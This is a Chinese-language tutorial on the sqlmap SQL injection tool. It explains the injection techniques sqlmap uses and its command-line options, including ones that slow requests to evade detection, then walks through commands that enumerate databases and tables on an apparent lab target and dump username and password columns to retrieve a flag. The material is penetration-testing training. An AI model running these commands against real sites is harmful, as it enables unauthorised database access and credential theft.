简介
- sqlmap是一款开源免费的漏洞检查、利用工具
- 可以检测页面中get,post参数,cookie,http头等
- 可以实现数据榨取
- 可以实现文件系统的访问
- 可以实现操作命令的执行
- 还可以对xss漏洞进行检测
可以说是安全从业人员必备的一款神器,也是迈入网络安全必须会的一款软件
支持类型
sqlmap 支持5种漏洞检测类型
- 布尔盲注:如果一个url的地址为xxxx.php?id=1,那么我们可以尝试下的加上 and 1=1(和没加and1=1结果保持一致) 和 and 1=2和不加and1=2结果不一致,则我们基本可以确定是存在布尔注入的.
- 时间盲注:和基于布尔的检测有些类似.通过mysql的 sleep(int)) 来观察浏览器的响应是否等待了你设定的那个值 如果等待了,则表示执行了sleep,则基本确定是存在sql注入的
- 错误检测:组合查询语句,看是否报错(在服务器没有抑制报错信息的前提下),如果报错 则证明我们组合的查询语句特定的字符被应用了,如果不报错,则我们输入的特殊字符很可能被服务器给过滤掉也可能是抑制了错误输出
- union联合查询:适用于如果某个web项目对查询结果只展示一条而我们需要多条的时候 则使用union联合查询搭配concat还进行获取更多的信息
- 堆叠查询:首先看服务器支不支持多语句查询,一般服务器sql语句都是写死的,某些特定的地方用占位符来接受用户输入的变量,这样即使我们加and 也只能执行select(也不一定select,主要看应用场景,总之就是服务端写了什么,你就能执行什么)查询语句,如果能插入分号;则我们后面可以自己组合update,insert,delete等语句来进行进一步操作
支持的数据库类型
已知的有mysql,sql server,oracle,sqlite,db等, 基本上全部支持了,如果某些小众的不支持,我们一般也接触不到,目前还是以mysql为主流
其他
-d:如果你知道了对方数据库账号,密码,端口等一些信息,则可以通过sqlmap直接连接 不需要再装客户端管理软件 例 :Navicat
可以与burp suite ,google搜索引擎,结合使用.
get,post,cookie,referer,user-agent 都可以指定和随机产生. cookie过期后自动更新cookie
并发,延迟等修改.比如设置间隔请求时间(避免被服务器发现),并发大一点,以达到追求速度的效果
支持Basic,Digest,NTLM,CA等身份认证
包含密码破解模块
参数介绍
-d:直接连接数据库服务器,作为数据库客户端使用
-u:后面跟URL地址,最好用双引号括起来,一定要存在变量名称
-l:logfile,将Burpsuite或WEbScarab代理记录的log日志文件提交上来
-x:sitemapurl,将站点地图sitemap文件提交上来
-f:参数查看指纹信息
--users:查看当前数据库所有用户
--banner:查看数据库版本信息
--dbs:查看目标数据库系统的所有库
--schema:查看元数据库,查看到的信息会很多
-a:all:所有数据都查找
-h或-hh:查看sqlmap的参数信息,双h显示全部
-v:显示详细的信息,有1-6级,默认为1
--version:查看版本信息
--current-db:获取当前数据库
-p:指定测试参数
-b:获取banner
--is-dba:是否是管理员权限(一般是查看是否是root权限)
--current-user:当前用户
--tables:列举数据库的表名
--count:检索所有条目数(该条命令可用在爆表名的时候,便于查看哪个是管理员的表)
--columns:获取表的列名
--dump:获取表中的数据,包含列
--dump-all:转存DBMS数据库所有表项目
--level:测试等级(1-5),默认为1,cookie注入是2,http头注入是3
--delay 1:(1秒)表示延时1秒进行注入
--risk:风险等级,共有四个等级,1会测试大部分的测试语句,2会增加基于事件的测试语句,3会增加OR语句的sql注入测试
-m:从文本中获取多个目标,文件中保存url格式,sqlmap会一个一个测试
-r:获取http请求注入,sqlmap可以从一个文本文件中获取http请求,这样就可以跳过设置一些其他参数,在存在注入的http请求头加*。
利用的场景:post,搜索注入,http头注入,登陆后的注入(在登录后存在注入点,因为只有在登录后才有cookie)
-g:处理google搜索结果,sqlmap可以测试注入google的搜索结果中的get参数(前100个请求)
–ignore-401:参数用来忽略未验证错误(设置忽略401)
避免错误请求过多而被屏蔽
–safe-url:隔一会就访问一下的安全URL
–safe-post:访问安全URL时携带的POST数据
–safe-req:从文件中载入安全HTTP请求
–safe-freq:每次测试请求之后都会访问一下的安全URL
-D:指定数据库
-T:指定表
-C:指定字段
--dbms=mysql oracle mssql:指定数据库
实战
首先用http://shop.aqlab.cn:8001/?id=1在下面的步骤中进行发现会频繁出现get-parameter-id-does-not-seem-to-be-injectable(get参数id似乎不可注入)
然后测试id的参数到底是多少,发现不管id的参数给的多少页面都不会变。随后百度何如获取id的参数,用shop.aqlab.cn:8001:apsp?id=得到http://shop.aqlab.cn:8001//single.php?id=1可以得到flag的值并且不会报错
sqlmap -u “http://shop.aqlab.cn:8001//single.php?id=1” 将存在注入漏洞的网址拿到sqlmap中跑一跑,sqlmap会自动跑一段时间,测试网站的服务器和数据库,如果中途有停顿需要你选择的,一般按Enter就行,直到运行结束。结束以后,会给出该网站的数据库、操作系统、服务器等版本信息
sqlmap -u “http://shop.aqlab.cn:8001//single.php?id=1” –dbs
查看该网站的当前数据库,sqlmap自动跑一段时间后,就会将数据库信息给出
sqlmap -u “http://shop.aqlab.cn:8001//single.php?id=1” -D cake –tables
我测试的是cake数据库,sqlmap会测试网站当前的cake数据库中的所有表,sqlmap自动跑一段时间后,就会将cake数据库中包含的表给出
sqlmap -u “http://shop.aqlab.cn:8001//single.php?id=1” -D cake -T user –columns
sqlmap测试网站当前的cake数据库中user表中的所有的列信息,sqlmap自动跑一段时间后,就会将user表中包含的所有列给出
sqlmap -u “http://shop.aqlab.cn:8001//single.php?id=1” -D cake -T user -C username,passwd –dump
sqlmap测试网站当前的cake数据库中user表中user列所包含的所有的列信息,sqlmap自动跑一段时间后,就会将user列中包含的信息给出,此时得到的数据即我们所需的flag